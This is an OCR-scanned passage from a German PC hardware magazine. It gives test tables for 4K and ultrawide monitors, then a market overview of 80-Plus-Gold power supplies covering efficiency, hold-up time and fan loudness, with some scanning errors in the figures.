Schlieren-/Korona-Bildung 


Wenig/keine 


FAZIT 


© Gute Bildqualität 
© G-Sync bis 165 Hz 
© Hoher Stand-by-Verbrauch 


Wertung: 1,56 
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Wenig/wenig 
© Gute Ausstattung 


Sichtbar/sichtbar 
© Freesync bis 165 Hz 


© Gutes Preis-Leistungs-Verhältnis © Standfuß aus Vollmetall 


© Niedriger Kontrast 


Wertung: 1,64 


© Ausleuchtung mittelmäßig 


Wertung: 1,72 


Sichtbar/gering 


© Gute Ausstattung 
© Geringer Input Lag 
© Knappe Freesync-Range 


Wertung: 1,82 


Sichtbar/sichtbar 


© Overdrive-Funktion 
© Relativ leicht 
© Nicht höhenverstellbar 


Wertung: 1,82 
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Kaufberatung Monitore | INFRASTRUKTUR 


4K/UHD-MONITORE 


Auszug aus Testtabelle 
mit 25 Wertungskriterien 


Produktname 
Hersteller 


28 Zoll 


27 Zoll 


40 Zoll 


28 Zoll 


27 Zoll 


MG2 


Asus 


27UD68-W 
LG 


X4071UHSU-B1 


Iiyama 


K 


Acer 


PG27AQ 


Asus 


Preis/Preis-Leistungs-Verhältnis 
PCGH-Preisvergleich 
Ausstattung (20 %) 
Diagonale/Anschlüsse 


Ca. € 480,-/Befriedigend 


Ca. € 480,-/Befriedigend 


Ca. € 565,-/Befriedigend 


Ca. € 335,-/Gut 


Ca. € 850,-/Mangelhaft 


www.pcgh.de/preis/1384653 


71,1 cm/3x HDMI 1.4, 1x Display- 
Port 1.2 


www.pcgh.de/preis/1395285 


68,8 cm/2x HDMI 2.0, 1x Display- 
Port 1.2 


www.pcgh.de/preis/1362847 


101,6 cm/2x HDMI 1.4, 
2.0, 1x Displayport 1.2, 


www.pcgh.de/preis/1527074 


1x HDMI 
1x D-Sub 


71,1 cm/1 DVI, 1x HDMI, 
1x Display-Port 1.2 


www.pcgh.de/preis/1214688 


68,6 cm/1x HDMI 1.4, 
1x Display-Port 1.2 


Max. Auflösung/Pixeldichte 


3.840 x 2.160/157 ppi 


3.840 x 2.160/163 ppi 


3.840 x 2.160/110 ppi 


3.840 x 2.160/157 ppi 


3.840 x 2.160/163 ppi 


Panel/Hintergrundbeleuchtung 


TN/LED 


IPS/LED 


MVA/LED 


TN/LED 


IPS/LED 


Reaktionszeit (Hersteller)/Netzteil 


1 ms/intern 


5 ms /extern 


3 ms/intern 


1 ms/intern 


4 ms/extern 


Gewicht/Maße 


8,0 kg/66 x 42 x 57 cm 


4,9 kg/62 x 46 x 19 cm 


12,2 kg/91 x 58 x 24 cm 


5,6 kg/ 66 x 49 x 21 cm 


7,0 kgí62 x 55 x 24 cm 


Drehbar/neigbar/hóhenverstellbar 


Ja/25°/150 mm 


Nein/1°/Nein 


Nein/Nein/Nein 


Nein/-5°,15°/Nein 


Ja/25°/Ja 


TCO/Garantie 


TCO 6.0/3 Jahre 


TCO 6.0/2 Jahre 


-[3 Jahre 


3 Jahre 


TCO 6.0/3 Jahre 


Sonstiges USB-3.0-Hub, Kopfhöreranschluss, —|Picture-in-Picture, softwarebasierter | Lautsprecher, USB-3.0-Hub, Kopf- | 2x 2 Watt Lautsprecher Lautsprecher, USB-3.0-Hub, 
Pivot-Funktion, Freesync KVM-Switch höreranschluss, PiP/PbP-Modi, Pivot-Funktion, G-Sync, Kopfhörer- 

Fernbedienung anschluss 

Eigenschaften (20 %) 2,20 2,04 1,97 2,28 2,16 

Betrachtungswinkel horizontal/vertikal | 170/160° 175/175° 150/175° 170/160° 175/175° 

Max. Aktualisierungsrate 60 Hz 60 Hz 60 Hz 40-60 Hz/Freesync 60 Hz 

Kontrastverhältnis (statisch) 900:1 950:1 5050:1 852:1/0,3 cd/m? 950:1 

Leistungsaufnahme/Stand-by 40,5/0,4 Watt 38,5/0,4 Watt 59/0,5 Watt 41,2 Watt/0,4 Watt 59,0/1,0 Watt 

Leistung (60 %) 1,78 1,70 1,86 1,69 1,94 

Input Lag 8 ms 14 ms 12ms 10,7 ms 8ms 

Farbbrillanz/Farbechtheit Gut Sehr gut Sehr gut Gut Sehr gut 

Helligkeit 70 - 250 cd/m? 60 - 280 cd/m? 69 - 295 cd/m? 278,9 cd/m? 26 - 198 cd/m? 

Helligkeitsabweichungen Max. 27 % Max. 6 % Max. 9 % Max. 13 96 Max. 13 196 


Schlieren-/Korona-Bildung 


Gering/gering 


FAZIT 


© Sehr niedriger Display-Lag 
© Freesync (40 bis 60 Hz) 
© Schlechte Uniformitát 


Wertung: 1,75 


Sichtbar/gering 
© Freesync, hohe Farbtreue 


Sichtbar/sichtbar 


© Gigantische Bildfläche 


© Erstaunlich niedriger Display-Lag © Sehr guter Preis 


© Ergonomisch eingeschränkt 


Wertung: 1,77 


© Keine dynamische Refreshrate 


Wertung: 1 


Sichtbar/gering 
© Bild-in-Bild-Funktion 

© Günstiger UHD-Monitor 
© Nicht höhenverstellbar 


‚81 Wertung: 1,82 


Gering/gering 
© G-Sync 

© IPS-Panel 
© Unverhältnismäßig teuer 


Wertung: 1,8 


ULTRAWIDE- 
MONITORE 


Auszug aus Testtabelle 
mit 25 Wertungskriterien 


Produktname 
Hersteller 


37,5 Zoll 


34 Zoll 


34 Zoll 


34 Zoll 


35 Zoll 


- 
e - 


380С99 
LG 


PG348Q 


Asus 


S34E790C 


Samsung 


P mmm 


34UC79G 
LG 


XR3501 
Benq 


Preis/Preis-Leistungs-Verháltnis 
PCGH-Preisvergleich 
Ausstattung (20 %) 
Diagonale/Anschlüsse 


Ca. € 1.300,-/Ausreichend 


Ca. € 1.150,-/Ausreichend 


Ca. € 710,-/Ausreichend 


Ca. € 600,-/Befriedigend 


Ca. € 650,-/Befriedigend 


www.pcgh.de/preis/1501656 


95,25 cm/HDMI 2.0 (x2), DP1.3, 
USB-C 


www.pcgh.de/preis/1276261 


86,7 cm (34 Zoll)/2x HDMI 1.4, 1x 
Display-Port 1.2a 


www.pcgh.de/preis/1195794 


86,4 cm (34 Zoll)/2x HDI 
Display-Port 1.2a 


www.pcgh.de/preis/1257523 


MI 1.4, 1x |86,4 cm (34 201)/2х HDMI 2.0, 1x 


Displayport 1.2 


www.pcgh.de/preis/1291095 


88,9 cm (35 Zoll)/2x HDMI, 2x 
Displayport 


Max. Auflösung/Pixelabstand 


3.840 x 1.600/110 ppi 


3.440 x 1.440/109 ppi 


3.440 x 1.440/109 ppi 


2.560 x 1.080/81 ppi 


2.560 x 1.080179 ppi 


Panel/Hintergrundbeleuchtung 


AH-IPS 


IPS/LED 


VA/LED 


PS/LED 


VA/LED 


Netzteil 


Intern 


Extern 


Extern 


Extern 


Extern 


Gewicht/Maße 


9,3 kg/89,7 x 46,6 x 23,0 cm 


11,1 kg/83 x 56 x 30 cm 


9,9 kg/82,2 x 45,2 x 27,6 cm 


8,6 kg/83,1 x 45 x 28 cm 


11,1 kg/85 x 50 x 21 cm 


Drehbar/neigbar/hóhenverstellbar 


Nein/20 Grad/18 cm 


Ja/25 Grad/115 mm 


Nein/22 Grad/100 mm 


Nein/25 Grad/120 mm 


Nein/20 Grad/nein 


TCO/Garantie 


2 Jahre 


TCO 6.0/3 Jahre 


TCO 6.0/1 Jahr 


СО 6.0/2 Jahre 


TCO 6.0/2 Jahre 


Sonstiges USB-3.0-Hub, Kopfhörerausgang, USB-3.0-Hub, Lautsprecher, Curved | USB-3.0-Hub, Lautsprecher, Curved | USB-3.0-Hub (2 Ports), Kopfhörer- |Picture-in-Picture, Curved 

USB-C-Kabels, On-Screen-Menü, 2 x anschluss, Lag-Reduktion (DaS), 

10 Watt Lautsprecher, Curved Schlierenreduktion (MBR), Software 

Onscreen Control) 

Eigenschaften (20 %) 2,00 2,10 2,24 2,14 2,44 
Betrachtungswinkel horizontal/vertikal | 170/160 Grad 178/178 Grad 175/175 Grad 170/175 Grad 165/150 Grad 
Max. Aktualisierungsrate 75Hz 30-100 Hz (G-Sync) 60 Hz 50-144 Hz (Freesync) 144 Hz 
Kontrastverhältnis (statisch) 983:1 920:1 2240:1 950:1 1860:01:00 
Leistungsaufnahme/Stand-by 45,5 Watt/1,1 Watt 65/0,5 Watt 59/0,5 Watt 52/0,3 Watt 53,5/0,5Watt 
Leistung (60 %) 117 1,43 1,59 1,97 2,01 
Input Lag 10 ms 7 ms (alte CRT-Methode) 10 ms (alte CRT-Methode) 5 ms (alte CRT-Methode) 15 ms (alte CRT-Methode) 
Farbbrillanz/Farbechtheit Sehr gut Sehr gut Gut Gut Gut 
Helligkeit 295 cd/m? 324 cd/m? 295 cd/m? 200 cd/m? 368 cd/m? 
Helligkeitsabweichungen Bis 4 % Max. 11 96 Max. 15 96 Max. 9 96 Max. 23 % 


Schlieren-/Korona-Bildung 


Gering/gering 


FAZIT 


© Sehr gute Bildqualität 
© Allround-Modell 
© Sehr teuer 


Wertung: 1,39 


www.pcgameshardware.de 


Gering/gering 
© G-Sync 
© Bis zu 100 Hz 
© Sehr teuer 


Wertung: 1,61 


Gering/gering 
© Gute Verarbeitung 


© Kontraststark 
© Nur bis 60 Hz 


Wertung: 1,76 


Gering/gering 
© 144 Hz mit Freesync 


© Niedriger Input Lag 
© Geringe Pixeldichte 


Wertung: 1,89 


07/17 | PC Games Hardware 


Sichtbar/gering 


© 2000R-Krümmung 
© Bis zu 160 Hz 
© Nur 1080p 


Wertung: 1,95 
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Marktübersicht Netzteile | INFRASTRUKTUR 


in Netzteil ist wohl der wich- 
E tigsten Komponenten in einem 
PC, denn ohne Strom kann kein 
Prozessor oder GPU betrieben wer- 
den. Spannungswandler im Watt- 
Bereich von 500-650 W eignen 
sich sehr gut für Gaming-Rechner 
mit Single-GPU und lassen dann so- 
gar noch etwas Platz für zusätzliche 
Hardware oder bescheidene Über- 
taktungsversuche übrig. In dieser 
Marktübersicht stellen wir Ihnen 
neun Netzteile vor, die eine 80-Plus- 
Zertifizierung im Gold-Segment be- 
kommen haben - die güldene Mitte 
quasi. 


Testmethodik und Durch- 
führung 

Zunächst wird die Richtigkeit der 
80-Plus-Zertifizierung bei 115 V 
überprüft: Wir- 
kungsgrad von 90 Prozent vorlie- 
gen. Daneben werden wir in die- 
sem Test noch die Ausstattung des 
Netzteils bewerten, einen Blick auf 
die verbauten Kondensatoren und 
Baugruppen werfen und natür- 
lich die Effizienz im europäischen 
230-Volt-Netz überprüfen: Dies er- 
folgt bei einer Auslastung von 10, 
20, 50, 80 und 100 Prozent und die 
Effizienz muss hier 92 Prozent be- 
tragen. Erledigt wird das mit einem 
professionellem Chroma-Messauf- 


Hier muss ein 


bau (für genauere Information 
dazu siehe Kasten Seite 88), sodass 
Schwankungen im lokalen Strom- 
netz abgefangen werden können 
und diese nicht in die Messungen 
miteinfließen. Zum ersten Mal 
wird auch die Überbrückungs- 
zeit (Stützzeit) in der Bewertung 
berücksichtigt (siehe rechts), da 
ihr Vorhandensein einen stabilen 
Betrieb ermöglicht. Zu guter Letzt 
gibt es dann noch was auf die Oh- 
ren: In einem schallarmen Raum 
werden wir die Lüfter der Netztei- 
le auf die Lautheit unter 10, 20, 50, 
80 und 100 Prozent Last hin über- 
prüfen. 


Seasonic Prime Gold 650W: Hochleis- 
tungs-Netzteil mit Bilderbuchwer- 
ten. Der Testsieger und der erste 
Kandidat in der Marktübersicht für 
80-Plus-Gold-Netzteile kommt aus 
dem Hause Sea Sonic, ein Unter- 
nehmen, das sich auf die Herstel- 
lung von Computer-Netzteilen spe- 
zialisiert hat. Anfangs wurden die 
Produkte nur für OEMs vertrieben, 
sodass angebotene Spannungs- 


wandler von Fremdfirmen auf 
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Produkten von Sea Sonic basierten 
oder gar umgelabelt wurden. 


Das hochwertig verarbeitete Netz- 
teil zeichnet sich durch einen her- 
vorragenden Wirkungsgrad im 
115-Volt- und im 230-Volt-Netz aus 
(bester gemessener Wert im Test). 
Zudem zeigte das Prime Gold keine 
nennenswerten Spannungsabfälle 
und die geringe Spannungsabwei- 
chung von unter 5 Prozent sind 
der Mikro-Toleranz-Lastregulation- 
Technologie (MTLR) zu schulden. 
Laut Hersteller kommt es dadurch 
höchstens zu einem Spannungs- 
abfall von maximal 0,5 Prozent 
- messen konnten wir dieses 
Versprechen auf der 12-Volt- und 
C)12-Volt-Schiene. Beeindruckt hat 
die sehr gute Unterdrückung der 
Restwelligkeit und der mit gemes- 
senen 20,55 Millisekunden über- 
troffene Grenzwerte zur Überbrü- 
ckungszeit. 


Zwei Punkte trüben aber dennoch 
leicht das Ergebnis: 1.) Der Lüfter 
ist deutlich zu hören, wenn das 
Netzteil unter Volllast läuft und 
2.), beide PCI-E-Stecker hängen an 
einem Kabel - besser wären zwei 
dezidierte Kabel gewesen. 


Bitfenix Whisper M: Flüsterleise, mit 
großartigem Wirkungsgrad. Bitfenix 
ist wohl eher für Computer-Geháu- 
se als für Netzteile in der Hardware- 
Welt bekannt. Das hat die Taiwaner 
aber nicht davon abgehalten, mit 
Channel Well Technology (CWT) 
einen wisperleisen Energieliefe- 
ranten auf die Beine zu stellen. Der 
zweite Platz dieser Marktübersicht 
geht demnach auch wieder an 
einen erfahrenen Hersteller von 
Spannungswandlern. 


Eine sehr gute Spannungsregulati- 
on, eine hervorragende Unterdrü- 
ckung der Restwelligkeit und ein 
großartiger Wirkungsgrad haben 
im Test überzeugt. Verbaut wur- 
den ausschließlich hochwertige 
Kondensatoren und Baugruppen, 
die Bitfenix mit einer Garantie von 
sieben Jahren bekräftigt. Im Gerät 
kommen drei Spannungsschienen 
zum Einsatz, die dank der Erfah- 
rung von CWT eine angemessene 
Dimensionierung erhalten ha- 
ben. Hinzu kommen alle üblichen 
Schutzschaltungen, die für alle 
Schienen realisiert wurden, und 
ein vollmodulares Kabelmanag- 


Die Stützzeit ist abhängig von der elektrischen Kapazität der Primärkondensatoren: 
Je mehr Energie gespeichert werden kann, desto größer kann die Stützzeit ausfallen. 


Kurzer Exkurs: Was ist die 
Uberbrückungszeit? 


Zum ersten Mal geht in die Wertung der Marktübersicht die Über- 
brückunsgzeit (auch Stützzeit genannt) ein. Um was handelt es sich 
dabei und warum ist es für Netzteile eigentlich so wichtig? 


Die Stützzeit gibt an, wie lange ein Netzteil nach dem Abschalten oder bei einem 
Stromausfall noch in der Lage ist, eine gleichmäßige elektrische Spannung 
auszugeben. Dadurch kann eine instabile Energiezufuhr aus dem lokalen Netz 
abgefangen werden. Bei einem Kurzschluss, einer Überladung oder einem Span- 
nungsabfall im System wird so noch genug Elektrizitát bereitgestellt, sodass das 


Betriebssystem noch Daten sichern kann. 


Die Länge dieses Zeitpuffers ist abhängig von der Qualität und der elektrischen Ka- 
pazitàt der Primárkondensatoren. Die Vorgabe von Intel liegt bei mindestens 16 Mil- 


lisekunden. Diese Zeit resultiert aus 


der Frequenz des Wechselstroms im 
amerikanischen 115-Volt-Netz, die 
60 Herz betrágt. Das europáische 
230-Volt-Netz verwendet dagegen 
eine Frequenz von 50 Herz und der 
Grenzwert darf demnach 20 Millise- 
kunden nicht überschreiten. 


"t hCInput 
/ V V V M 


Überbrückungszeit SL 


550-Watt-Netzteile 


Effizienzkurve in einem 230-Volt-Netz 
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Auslastung in Prozent 
System: Chroma-System, siehe Seite 88 Bemerkungen: Alle Netzteile erreichen bei 50 Prozent einen Wir- 


kungsgrad von 90 Prozent und verdienen somit die 80-Plus-Gold-Zertifizierung für 115-Volt-Netze. Das Bitfenix 
zeigt sehr gute Werte im Niedriglastbereich, wohingegen das Antec ein Problem mit geringen Lasten hat. 
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Wussten Sie, dass ... 


®... Kondensatoren Anfang der 2000er massenhaft 
konnte überwiegend bei taiwanischen Herstellern 


einer hohen Ausfallrate. 


Temperaturerhöhung von 10 K vorliegt. 


ausgefallen sind? Die sogenannte , Kondensatorenpest" 


beobachtet werden und führte zwischen 2002 und 2007 zu 


X»... der älteste Kondensator bereits im Jahre 1745 von dem Domdekan 
Ewald Georg von Kleist in Cammin im heutigen Polen erfunden wurde? 
Herausgefunden hatte er das durch Experimete mit einem Nagel in einer 
wassergefüllten Flasche, die an eine Elektrisiermaschine angeschlossen wurde. 
Beim Herausziehen des Metallteils erhielt er einen saftigen Schlag. 


X»... die Restwelligkeit den Wechselspannungsanteil beschreibt, der nicht mit 
Glättungskondensatoren vermindert werden konnte? Bei der Wandlung der 
Wechselspannung (AC) in die Gleichspannung (DC) entsteht immer eine 
Mischspannung aus Gleich- und überlagerter Wechselspannung. 


3»... schlecht gekühlte Systeme die Lebenserwartung von Baugruppen drastisch 
senken kónnen? Grund dafür ist die van-'t-Hoff'sche Regel, die besagt, das 
chemische Reaktionen doppelt bis dreimal so schnell ablaufen, wenn eine 


Lautheit der 550-Watt-Netzteile 
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System: Labornetzteil, digitaler Schallanalysator NC 10, die Messung wurde aus 50 cm Entfernung durchge- 
führt Bemerkungen: Sehr vorbildlich: Alle Netzteile sind bis 80 Prozent Last angenehm leise. Lediglich das 
Antec Edge Silence wird seinem Namen unter Volllast in keinster Weise gerecht. 


650-Watt-Netzteile 


Effizienzkurve in einem 230-Volt-Netz 
100 
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O LC Power LC6650GP4 (90,8 O-Effizienz) 
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Auslastung in Prozent 


System: Chroma-System, sieht Seite 88 Bemerkungen: Beide Netzteile erreichen bei 50 Prozent einen 
Wirkungsgrad von 90 Prozent und verdienen somit die 80-Plus-Gold-Zertifizierung (115 Volt). Das LC-Power 
zeigt generell eine gute Effizienz und ist im Bereich von 20-60 Prozent Auslastung ganz nah am Testsieger. 
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ment mit vielen Anschlussmóg- 
lichkeiten. Die Kurve des hydrody- 
namischen Gleitlagerlüfters macht 
dem Namen des Netzteils alle Ehre, 
denn erst durch ein Volllastsze- 
nario steigt die Lautheit von kon- 
stanten 0,1 Sone auf immer noch 
flüsterleise 0,5 Sone. Mit einem 
Endverbraucherpreis von 90 Euro 
ist das Whisper M ein idealer Kan- 
didat für ein Mittelklasse-System, 
das dennoch effizient und leise be- 
trieben werden soll. 


Antec Edge Silence defined: Ent- 
koppelt und leise - aber wehe der 
Volllast. Noch aufs Treppchen ge- 
schafft hat es das Edge Silence defi- 
ned aus dem Hause Antec. Das Un- 
ternehmen aus Kalifornien hat bei 
diesem Netzteil viel Wert auf Stille 
gelegt, wie der Name bereits erah- 
nen lässt. Durch beigelegte Gummi- 
manschetten kann der Nutzer den 
Spannungswandler vom Gehäuse 
entkoppeln. Zumindest in der The- 
orie sollte man so Vibrationsgeräu- 
sche durch das Netzteil vermeiden 
kónnen. Bei der Lautheitsmessung 
konnten wir unter Volllast wider 
Erwarten 79 Sone messen: Hier 
fragt man sich, was die Kalifornier 
als Stille definieren. Fürs Protokoll 
sollte aber erwáhnt werden, dass 
Spannungswandler in der Regel 
nicht unter Volllast laufen. Betrach- 
tet man die gemessene Lautheit bei 
praktikableren Auslastungen, hórt 
man mit 0,3 Sone bis zu einer Last 
von 50 Prozent eigentlich nichts. 
Erst bei 80 Prozentpunkten dreht 
der FHD-Lüfter auf den vierfachen 
Wert von 1,2 Sone auf. 


Die verbaute Technik verfügt über 
alle gángigen Schutzschaltungen, 
hochwertige japanische Konden- 
satoren und zwei 12-Volt-Leitun- 
gen. Diese kann der Nutzer nach 
eigenem Ermessen am Steckplatz- 
ensemble auswählen. Das Netzteil 
erreicht leider in Bereichen von 
5-35 Prozent Last schlechte Effi- 
zienz-Werte, unterdrückt die Rest- 
welligkeit aber gut und erreicht 
sogar knapp den Grenzwert für 
die Stützzeit (15,99 Millisekunden). 
Wieso aber ein LED-Lüfter verbaut 
werden musste, bleibt ein Rätsel. 


Silverstone Strider Gold S-Series: 
Kompaktes Design mit guter Aus- 
stattung. Wieder ein taiwanischer 
Netzteilhersteller: Silverstone. Die 
erst seit 2003 operierende Firma 


hat sich auf Spannungswandler, 
Lüfter und Gehäuse spezialisiert. 
Das ST55F-G Version 2.0 mit 
550 Watt und einer 80-Plus-Gold- 
Zertifizierung (115 V) ist dank 
einer Länge von 14 Zentimetern 
einer der wenigen kompakten Ver- 
treter im ATX-Formfaktor und kann 
durch eine großzügige Ausstat- 
tung durchaus punkten: Klett- und 
Plastikkabelbinder, Thumbscrews 
und ein vollmodulares Kabelma- 
nagment sind beigelegt. Daneben 
sind alle Standardschutzschaltun- 
gen vorhanden, inklusive Überhit- 
zungsschutz. 


Die gemessenen Efiizienzwerte 
für 230-Volt- und 115-Volt-Netze 
sind leider im unteren goldenen 
Bereich anzusiedeln. Das Netz- 
teil schafft es zufriedenstellend, 
die Spannung zu regulieren und 
auch die Restwelligkeit wird kon- 
sequent und gut unterdrückt. Die 
Crux heutiger Spannungswandler 
scheint tatsächlich die Stützzeit zu 
sein, die von Silverstone nicht er- 
reicht wird. Der Hersteller gibt die 
optimale Betriebstemperatur mit 
bis zu 40 °C an, obwohl der ATX- 
Standard 50 °C verlangt. Ein weite- 
rer, nicht nachvollziehbarer Punkt, 
ist die kurze Garantiezeit für ein 
Goldnetzteil in diesem Preisseg- 
ment: Lediglich drei Jahre gewährt 
Silverstone dem Kunden. 


Enermax Revolution Xt Il: Nach- 
folger mit besseren Baugruppen. 
Enermax produzierte früher selber 
Netzteile, lässt aber mittlerweile 
wie Bitfenix von CWT assemblie- 
ren. Im Vergleich zum Vorgänger 
wurde im Revolution Xt II die 
Platine auf die GPS-Plattform des 
Auftragsfertigers aktualisiert, und 
bei den Primär- und Sekundärkon- 
densatoren wurden ausschließlich 
japanische 105 °C-Exemplare ver- 
baut. Um die Ausgangsspannungen 
besser filtern zu können, wurden 
zudem mehr Polymer-Feststoffkon- 
densatoren verbaut, die mit einer 
hohen Lebenserwartung punkten 
können. 


Das teilmodulare Netzteil kommt 
mit den gängigen Schutzschal- 
tungen, verzichtet aber auf einen 
Temperaturschutz (OTP) und der 
Überstromschutz ist nur auf den 
+3,3- und +5-Volt-Schienen aktiv. 
Enermax gibt die maximale Umge- 
bungstemperatur, bei der im Dau- 
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erbetrieb noch die volle Leistung 
erbracht werden kann, mit 40 °C 
an. Bei dieser niedrigen Tempera- 
tureinstufung hätte ein ОТР (Tem- 
peraturschutz) durchaus Sinn ge- 
macht. 


Die aktive Kühlung des Netzteils 
übernimmt ein 139 mm breiter 
Lüfter, der mit hauseigener Twis- 
ter-Technologie versehen selbst 
unter Volllast nur auf 0,4 Sone 
kommt. Somit ist das Revoluti- 
on Xt II das leiseste im Test ge- 
messene Netzteil, dicht gefolgt 
vom Whisper M von Bitfenix und 
dem Power Smart GPS-550C von 
Chieftec. Die geringe Lärmbeläs- 
tigung wird durch eine intelligen- 
te Lüftersteuerung realisiert, die 
maximal 1000 Umdrehungen pro 
Minute zulässt und sich Speed- 
Guard nennt. Enermax packt aber 
noch weitere „Wächter“-Features 
in den Stromversorger: Heat-Gu- 
ard lässt den Lüfter noch weitere 
30-60 Sekunden nach Abschalten 
laufen, um die Restwärme des 
Netzteils abzutragen; der Cord- 
Guard ist eine Blechklemme für 


den Kaltgerätestecker und soll so 
ein zufälliges Abziehen vom Netz 
verhindern. 


Bei der Überbrückungszeit kann 
der Spannungswandler dagegen 
nicht punkten, denn der Grenz- 
wert von 16 Millisekunden wird 
hier nicht eingehalten - wie bei 
dem Gros der getesteten Netztei- 
le. Durch das stabile Stromnetz in 
Deutschland kann dennoch ein 
sicherer Betrieb mit dem Gerät er- 
zielt werden. Die Restwelligkeit ist 
auf der 5-Volt-Schiene grenzwertig, 
wird im Gesamten aber zufrieden- 
stellend unterdrückt. 


C 1 50: Der Preis-Leis- 
tungs-Experte im Low-End-Bereich. 
Für wenig Geld und mit einem ho- 


Cougar GX-S 


hen Wirkungsgrad überzeugt die- 
ses kompakte Netzteil und darf sich 
somit Preis-Leistungs-Sieger dieser 
Marktübersicht nennen. Obwohl 
die Gold-Zertifizierung nur für ein 
115-Volt-Netz - wie in Amerika - 
ausgestellt wurde, bekommt der 
Spannungswandler in unseren Mes- 
sungen auch bei 230 V ein Gold- 


Der PCGH-Schnáppchenführer 
Die besten Hardware-, Spiele- und 
Filmschnáàppchen - täglich aktualisiert! 
www.pcgh.de/spartipps 


Der Primärkondensator (1) nimmt die ungefilterte gewandelte Spannung und gibt 
diese konstant ab. Die Sekundärkondensatoren (2) filtern dagegen die Restwelligkeit 
aus der Mischspannung. Eine Ringkerndrossel (3), zustándig für die EMV-Entstórung. 
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Lautheit der 650-Watt-Netzteile 


3 
* Seasonic Prime Gold 650 (69,45 Ø-Lautheit) d 
O LC Power LC6650GP4 (68,93 O-Lautheit) 
£ 2 
= 
о 
л 
£ 
- 
5 Pal 
= 
5 
© 1 ^ 
= 
e ə=v7—— — 
1 A 
10 20 50 80 100 


Last in Prozent 


System: Labornetzteil, digitaler Schallanalysator NC 10, die Messung wurde aus 50 cm Entfernung durchge- 
führt Bemerkungen: Der Testsieger Prime Gold läuft bis 20 Prozent Last ohne Lüfter, wohingegen das LC- 
Power kontinuierlich mit 0,6 Sone hörbar ist. Erst bei 80 Prozent Last nimmt die Lärmbelästigung deutlich zu. 


550-Watt-Netzteile 


Effizienzkurve in einem 230-Volt-Netz 
100 
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Wrikungsgrad in Prozent 


* Corsair TX550M (89,72 O-Effizienz) 
О Cougar GX-S 550 (90,14 Q-Effizienz) 
А Enermax Revolution Xt II (90,47 O-Effizienz) 
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System: Chroma-System, sieht Seite 86 Bemerkungen: Alle Netzteile erreichen bei 50 Prozent einen Wir- 
kungsgrad von 90 Prozent und verdienen somit die 80-Plus-Gold-Zertifizierung für 115-Volt-Netze. Das Bitfenix 
zeigt sehr gute Werte im Niedriglastbereich, wohingegen das Antec ein Problem mit geringen Lasten hat. 


Lautheit der weiteren 550-Watt-Netzteile 
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Last in Prozent 


System: Labornetzteil, digitaler Schallanalysator NC10, die Messung wurde aus 50 cm Entfernung durchge- 
führt Bemerkungen: Das Revolution Xt I bleibt selbst bei Volllast unter 0,5 Sone. Das Cougar ist im unteren 
und mittleren Lastbereich ruhig. Der Graph des Corsair zeigt keine optimale Lüfterkurvenanpassung. 
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ticket (siehe Wertungstabelle) be- 
scheinigt: Die Effizienz beträgt bei 
50 Prozent Last über 92 Prozent. 


Zwar wurden alle gängigen Schutz- 
schaltungen wie OCP oder OPP 
verbaut, aber auf einen Tempera- 
turschutz wurde verzichtet. Bei ma- 
ximal 40 °C Umgebungstemperatur 
wäre auch hier für einen reibungs- 
losen Betrieb ein OTP von Vorteil 
gewesen. Bedenkt man den Preis 
und dass wohl eher moderat ausge- 
statte Systeme die Zielgruppe bil- 
den sollen, ist dieser Umstand aber 
zähneknirschend hinnehmbar. Die 
gemessene Lautheit des verbauten 
Lüfters bleibt deshalb auch bis 
zu einer Last von 80 Prozent bei 
0,3 Sone und steigt dann auf 2,6 
Sone unter Volllast. 


Cougar hat beim GX-S an den rich- 
tigen Stellschrauben gedreht, um 
den Preis effektiv drücken zu kón- 
nen. Die Restwelligkeit wird vom 
Netzteil zwar nur befriedigend un- 
terdrückt, die Stützzeit nicht einge- 
halten und die Spannungsregulie- 
rung hätte besser ausfallen können, 
aber für Low-End-Systeme, die für 
wenig Geld einen effizienten Span- 
nungswandler mit Gold-Zertifikat 
haben wollen, genau richtig. 


Corsair TX550M: Günstig, gut, gol- 
den. Corsair setzt beim TX-550M 
auf Gold-Effizienz, die vorherigen 
Modelle der TX-Reihe wurden nur 
mit Bronze ausgezeichnet. In den 
von uns erhobenen Messungen 
konnten wir die Goldzertifizierung 
bestätigen: Lediglich 5 Prozent 
Last ist die Effizienz bei unter 80 
Prozent. Dagegen hat die sehr gute 
Spannungsregulierung erstaunt, 
die für einen Preis von 75 Euro 
überdurchschnittlich ist. Erfreu- 
lich ist zwar, dass die Restwelligkeit 
konsequent weit unter den Grenz- 
werten gehalten wird, aber bei der 
Überbrückungszeit hapert es auch 
bei Corsair, obwohl zwei hochwer- 
tige japanische Primärkondensa- 
toren von Nippon Chemi-Con ver- 
baut wurden. Das Netzteil verfehlte 
somit den Stützzeitgrenzwert mit 
12 Millisekunden nur knapp. 


Die Lüfterkurve steigt ab 20 Prozent 
Last linear bis zu einem Wert von 
Á Sone und ist somit unter Volllast 
deutlich wahrnehmbar. Der Lüfter 
verfügt nur über ein herkómmli- 
ches Gleitlager, dessen erfahrungs- 


gemäße mittlere Lebensdauer mit 
fünf Jahren Herstellergarantie ab- 
gesichert wurde. Auch hier darf 
angenommen werden, dass die 
Zielgruppe Low-End-Systeme mit 
moderatem Leistungsansprüchen 
sind, sodass ein Szenario unter 100 
Prozent Last eher selten ist. Schade 
ist, dass das nur 163 cm? füllende 
Netzteil keinen modularen Kabel- 
baum anbietet. 


LC-Power 6650GP4: Wieder ein Nach- 
folger mit besserer Technik. LC- 
Power liefert das einzige Netzteil 
im Test, das eine offizielle 80-Plus- 
Gold-Zertifizierung für das europä- 
ische 230-Volt-Netz hat - was nicht 
heißt, dass wir den anderen Gerä- 
ten keinen Goldstatus attestieren, 
sonder nur, dass der Hersteller sich 
um das Siegel gekümmert hat. Der 
neue Goldanstrich der Modellserie 
kann mit hervorragenden Werten 
trumphen, die im Mittel über 90 
Prozent Effizienz Leistung ausge- 
ben. Aufser bei der geringsten ge- 
messenen Last von 5 Prozent sackt 
der Wirkungsgrad auf unter 80 
Prozent ab, im Mittelfeld behauptet 
sich das Netzteil aber mit konstan- 
ten Werten von über 92 Prozent. 


Das Netzteil verfügt über alle gängi- 
gen Schutzschaltungen, auch einen 
Temperaturschutz. Mit Schwankun- 
gen, wie zum Beispiel einem plótz- 
lichem  Spannungsabfall, kommt 
der 650-Watt-Bolide recht gut klar, 
obwohl natürlich noch Luft nach 
oben ist. Ähnliches gilt für die Rest- 
welligkeit, die zwar stets unter den 
Grenzwerten bleibt, aber besser 
hátte ausfallen kónnen: Ein Puffer 
wäre empfehlenswert. Wie so oft 
in dieser Marktübersicht wird auch 
hier die Stützzeit von 16 Millisekun- 
den nicht eingehalten, sondern mit 
14,8 Millisekunden knapp verfehlt. 
Zwar sind genug hochwertige ja- 
